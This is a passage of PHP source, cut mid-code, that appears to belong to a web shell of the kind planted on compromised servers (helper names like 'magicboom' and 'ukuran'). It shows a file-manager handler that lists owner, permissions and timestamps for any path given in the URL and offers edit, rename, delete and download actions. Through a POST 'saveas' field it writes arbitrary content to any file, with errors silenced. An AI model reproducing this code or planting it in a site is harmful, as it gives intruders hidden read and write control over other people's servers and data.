"); echo "
"; } elseif(isset($_GET['view']) && ($_GET['view'] != "")){ if(is_file($_GET['view'])){ if(!isset($file)) $file = magicboom($_GET['view']); if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']." : ".$group['name']; } else { $owner = $user; } $filn = basename($file); echo "
Filename | ".$file." |
Size | ".ukuran($file)." |
Permission | ".get_perms($file)." |
Owner | ".$owner." |
Create time | ".date("d-M-Y H:i",@filectime($file))." |
Last modified | ".date("d-M-Y H:i",@filemtime($file))." |
Last accessed | ".date("d-M-Y H:i",@fileatime($file))." |
Actions | edit | rename | delete | download (gzip) |
View | text | code | image |
"; if(isset($_GET['type']) && ($_GET['type']=='image')){ echo "
"; } elseif(isset($_GET['type']) && ($_GET['type']=='code')){ echo "
"; } else { echo "
"; } } elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); } } elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){ if(isset($_POST['save'])){ $file = $_POST['saveas']; $content = magicboom($_POST['content']); if($filez = @fopen($file,"w")){ $time = date("d-M-Y H:i",time()); if(@fwrite($filez,$content)) $msg = "file saved @ ".$time; else $msg = "failed to save"; @fclose($filez); } else $msg = "permission denied"; } if(!isset($file)) $file = $_GET['edit']; if($filez = @fopen($file,"r")){ $content = ""; while(!feof($filez)){ $content .= htmlentities(str_replace("''","'",fgets($filez))); } @fclose($filez); } ?>